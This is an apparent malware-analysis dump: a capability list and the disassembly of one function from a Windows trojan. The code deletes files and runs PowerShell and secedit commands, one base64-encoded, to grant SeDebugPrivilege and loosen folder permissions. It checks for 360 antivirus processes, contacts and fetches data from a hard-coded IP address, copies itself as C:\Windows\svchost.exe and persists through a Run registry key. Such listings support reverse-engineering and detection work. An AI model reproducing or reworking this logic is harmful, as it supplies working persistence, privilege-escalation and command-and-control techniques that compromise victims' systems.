Function at 0x1000b010
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Copy file
Create http request
Create process on windows
Create tcp socket
Create thread
Create udp socket
Delete file
Initialize winsock library
Persist via application shimming
Persist via run registry key
Read data from internet
Receive data
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd44
push esi
push edi
push reloc.WS2_32.dll_closesocket
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
push str.C:del
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:_tzfz
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:1.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:2.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:inst.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:odbc.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:odbc.inst.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:ProgramDataMicrosoftEdgeUpdateLogchuangkou.log
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
push str.C:ProgramDataMicrosoftProgramziliao.jpg
call fcn.10002552
add esp, 8
push 1
push str.C:Microsoftiusb3mon.dat
call fcn.10002552
add esp, 8
push 1
push str.C:Microsoftiusb3mon.exe
call fcn.10002552
add esp, 8
push 1
push str.C:MicrosoftMedia.xml
call fcn.10002552
add esp, 8
push 1
push str.C:ProgramDataMicrosoftiusb3mon.exe
call fcn.10002552
add esp, 8
push 1
push str.C:ProgramDataMicrosoftiusb3mon.dat
call fcn.10002552
add esp, 8
push 1
push str.C:ProgramDataMicrosoftMedia.xml
call fcn.10002552
add esp, 8
push 1
push str.C:ProgramDataMicrosoftProgram
call fcn.10002552
add esp, 8
push 1
push str.C:ProgramData360EntDT
call fcn.10002552
add esp, 8
push 1
push str.C:Microsoft
call fcn.10002552
add esp, 8
push 1
push str.C:ProgramDataProgram
call fcn.10002552
add esp, 8
push 1
push str.C:ProgramData
call fcn.10002552
add esp, 8
push 1
push str.C:ProgramDataDataupx.exe
call fcn.10002552
add esp, 8
push 1
push str.C:un.exe
call fcn.10002552
add esp, 8
push 1
push str.C:ProgramDataDataupx.rar
call fcn.10002552
add esp, 8
push 1
push str.C:ProgramDataupx.rar
call fcn.10002552
add esp, 8
push 0
push str.powershell.exe__NoProfile__C__Set_Content__Value____Unicode__Unicodeyes__Version__signature__CHICAGO___Revision1__Privilege_Rights__SeDebugPrivilege__S_1_5_18__File_Security___C:ProgramDataProgram__0__D:AR_D_OICI_DTSDRCWD___WD_____Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege1.inf____Encoding_Unicode__secedit.exe__configure__db___IO.Path_::Combine__env:TEMP__SeDebugPrivilege1.sdb____cfg___IO.Path_::Combine__env:TEMP__SeDebugPrivilege1.inf____overwrite__log___IO.Path_::Combine__env:TEMP__SeDebugPrivilege1.log____quiet__Remove_Item__Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege1.____Force__
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.powershell.exe__NoProfile__C__Set_Content__Value____Unicode__Unicodeyes__Version__signature__CHICAGO___Revision1__Privilege_Rights__SeDebugPrivilege__S_1_5_18__File_Security___C:ProgramDataMicrosoftProgram__0__D:AR_D_OICI_DTSDRCWD___WD_____Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege2.inf____Encoding_Unicode__secedit.exe__configure__db___IO.Path_::Combine__env:TEMP__SeDebugPrivilege2.sdb____cfg___IO.Path_::Combine__env:TEMP__SeDebugPrivilege2.inf____overwrite__log___IO.Path_::Combine__env:TEMP__SeDebugPrivilege2.log____quiet__Remove_Item__Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege2.____Force__
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.powershell.exe__NoProfile__C__Set_Content__Value____Unicode__Unicodeyes__Version__signature__CHICAGO___Revision1__Privilege_Rights__SeDebugPrivilege__S_1_5_18__File_Security___C:ProgramDataData__0__D:AR_D_OICI_DTSDRCWD___WD_____Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege3.inf____Encoding_Unicode__secedit.exe__configure__db___IO.Path_::Combine__env:TEMP__SeDebugPrivilege3.sdb____cfg___IO.Path_::Combine__env:TEMP__SeDebugPrivilege3.inf____overwrite__log___IO.Path_::Combine__env:TEMP__SeDebugPrivilege3.log____quiet__Remove_Item__Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege3.____Force__
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.powershell.exe__NoProfile__C___IO.File_::WriteAllBytes__IO.Path_::Combine__env:TEMP__SeDebugPrivilege4.inf____Convert_::FromBase64String___5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA____secedit.exe__configure__db___IO.Path_::Combine__env:TEMP__SeDebugPrivilege4.sdb____cfg___IO.Path_::Combine__env:TEMP__SeDebugPrivilege4.inf____overwrite__log___IO.Path_::Combine__env:TEMP__SeDebugPrivilege4.log____quiet__Remove_Item__Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege4.____Force__
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [0x100373fc], 1
jne 0x1000b1c0
push 0
push 0
push 0
push 0x100095d3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x10037400], 1
jne 0x1000b1de
push 0
push 0
push 0
push 0x10009203
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x10037404], 1
jne 0x1000b1fc
push 0
push 0
push 0
push 0x10009014
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x10037408], 1
jne 0x1000b21a
push 0
push 0
push 0
push 0x10009659
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1003740c], 1
jne 0x1000b277
push 0
push 0
push 0
push 0x1000a19f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000ac0e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10002262
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000aba8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x10037410], 1
jne 0x1000b374
push str.360Tray.exe
call fcn.10008dac
add esp, 4
test eax, eax
je 0x1000b2f1
push 0
push 0x1003a2c4
call fcn.10012547
add esp, 8
cmp eax, 0xffffffff
je 0x1000b2c2
push 1
push 0
push 0
push 0
push 0x10003ed0
push 0
push 0
call fcn.10010a52
add esp, 0x1c
push str.iiiiiiiiiiiiiiii.exe
call fcn.10008dac
add esp, 4
test eax, eax
je 0x1000b2ec
push 1
push 0
push 0
push 0
push 0x10003ed0
push 0
push 0
call fcn.10010a52
add esp, 0x1c
jmp 0x1000b374
push str.360tray.exe
call fcn.10008dac
add esp, 4
test eax, eax
je 0x1000b35b
push 0
push str.c:inst.ini
call fcn.10012547
add esp, 8
cmp eax, 0xffffffff
je 0x1000b32f
push 1
push 0
push 0
push 0
push 0x10003ed0
push 0
push 0
call fcn.10010a52
add esp, 0x1c
push str.iiiiiiiiiiiii.exe
call fcn.10008dac
add esp, 4
test eax, eax
je 0x1000b359
push 1
push 0
push 0
push 0
push 0x10003ed0
push 0
push 0
call fcn.10010a52
add esp, 0x1c
jmp 0x1000b374
push 1
push 0
push 0
push 0
push 0x10003ed0
push 0
push 0
call fcn.10010a52
add esp, 0x1c
cmp dword [0x10037414], 1
jne 0x1000b439
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 5
jge 0x1000b439
mov eax, dword [0x100370ac]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1b8], str.202.79.174.53
lea ecx, [ebp - 0x1a0]
push ecx
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1b4], eax
mov word [ebp - 0x1b0], 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x10], eax
mov dx, word [ebp - 0xc]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1ae], ax
mov eax, dword [ebp - 0x1b8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1ac], eax
push 0x10
lea ecx, [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x1000b41d
jmp 0x1000b439
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jle 0x1000b434
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x1000b388
cmp dword [0x10037418], 1
jne 0x1000b591
mov dword [ebp - 0x1bc], 0
jmp 0x1000b461
mov ecx, dword [ebp - 0x1bc]
add ecx, 1
mov dword [ebp - 0x1bc], ecx
cmp dword [ebp - 0x1bc], 3
jge 0x1000b591
push 0x824
push 0
lea edx, [ebp - 0x9e4]
push edx
call fcn.10012110
add esp, 0xc
mov dword [ebp - 0x9ec], 0
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
je 0x1000b58c
push str.202.79.174.53
push str.http:___s_ip.txt
lea eax, [ebp - 0xaf0]
push eax
call fcn.100126cb
add esp, 0xc
push 0
push 0x80000100
push 0
push 0
lea ecx, [ebp - 0xaf0]
push ecx
mov edx, dword [ebp - 0x1c0]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x9e8], eax
cmp dword [ebp - 0x9e8], 0
je 0x1000b58c
lea eax, [ebp - 0x9ec]
push eax
push 0x824
lea ecx, [ebp - 0x9e4]
push ecx
mov edx, dword [ebp - 0x9e8]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [ebp - 0x9ec], 0
ja 0x1000b4ff
lea eax, [ebp - 0x9e4]
push eax
call fcn.10012650
add esp, 4
cmp eax, 0x10
jae 0x1000b572
lea ecx, [ebp - 0x9e4]
push ecx
push str.202.79.174.53
call fcn.10012590
add esp, 8
test eax, eax
je 0x1000b568
lea edx, [ebp - 0x9e4]
push edx
push str.202.79.174.53
call fcn.10012370
add esp, 8
mov dword [ebp - 0x1bc], 4
mov eax, dword [ebp - 0x9e8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x1c0]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1000b452
mov ecx, 0x1003f810
call fcn.1000ef18
mov edx, 0x100372cc
test edx, edx
je 0x1000b5c0
push 1
push 0
push 0
push 0x100372cc
push 0x10008b86
push 0
push 0
call fcn.10010a52
add esp, 0x1c
cmp dword [0x10037264], 0
jne 0x1000b7f4
cmp dword [0x10037260], 1
jne 0x1000b695
mov byte [ebp - 0xc0c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0xc0b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 6
mov esi, str.C:Windows_
lea edi, [ebp - 0xb08]
rep movsd dword es:[edi], dword [esi]
push 0x104
lea eax, [ebp - 0xc0c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea ecx, [ebp - 0xb08]
push ecx
lea edx, [ebp - 0xc0c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0xc10]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b67d
push 0x18
lea ecx, [ebp - 0xb08]
push ecx
push 1
push 0
push 0x10042988
mov edx, dword [ebp - 0xc10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 1
test ecx, ecx
je 0x1000b695
call fcn.10008464
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000b67d
cmp dword [0x1003725c], 1
jne 0x1000b7f4
call fcn.1000bbc2
test eax, eax
je 0x1000b6ea
mov dword [ebp - 0xc20], 0x10037118
mov dword [ebp - 0xc1c], 0x10008665
mov dword [ebp - 0xc18], 0
mov dword [ebp - 0xc14], 0
lea edx, [ebp - 0xc20]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.10008464
jmp 0x1000b7f4
mov byte [ebp - 0xd3c], 0x43
mov byte [ebp - 0xd3b], 0x3a
mov byte [ebp - 0xd3a], 0x5c
mov byte [ebp - 0xd39], 0x57
mov byte [ebp - 0xd38], 0x69
mov byte [ebp - 0xd37], 0x6e
mov byte [ebp - 0xd36], 0x64
mov byte [ebp - 0xd35], 0x6f
mov byte [ebp - 0xd34], 0x77
mov byte [ebp - 0xd33], 0x73
mov byte [ebp - 0xd32], 0x5c
mov byte [ebp - 0xd31], 0x73
mov byte [ebp - 0xd30], 0x76
mov byte [ebp - 0xd2f], 0x63
mov byte [ebp - 0xd2e], 0x68
mov byte [ebp - 0xd2d], 0x6f
mov byte [ebp - 0xd2c], 0x73
mov byte [ebp - 0xd2b], 0x74
mov byte [ebp - 0xd2a], 0x2e
mov byte [ebp - 0xd29], 0x65
mov byte [ebp - 0xd28], 0x78
mov byte [ebp - 0xd27], 0x65
mov byte [ebp - 0xd26], 0
lea eax, [ebp - 0xd3c]
mov dword [ebp - 0xd44], eax
push 0xe1
lea ecx, [ebp - 0xd24]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
mov edx, dword [ebp - 0xd44]
push edx
lea eax, [ebp - 0xd24]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.10008315
push str.Cdefghij_Lmnopqrst_Vwxyabc_Efghijkl_Nop
push str.Cdefgh_Jklmnopq_Stuvwxya_Cdef
push 0x10037118
call fcn.1000b81b
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008464
push 0
call fcn.100130ab
cmp dword [0x10037264], 1
jne 0x1000b815
mov ecx, 1
test ecx, ecx
je 0x1000b815
call fcn.10008464
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000b7fd
pop edi
pop esi
mov esp, ebp
pop ebp
ret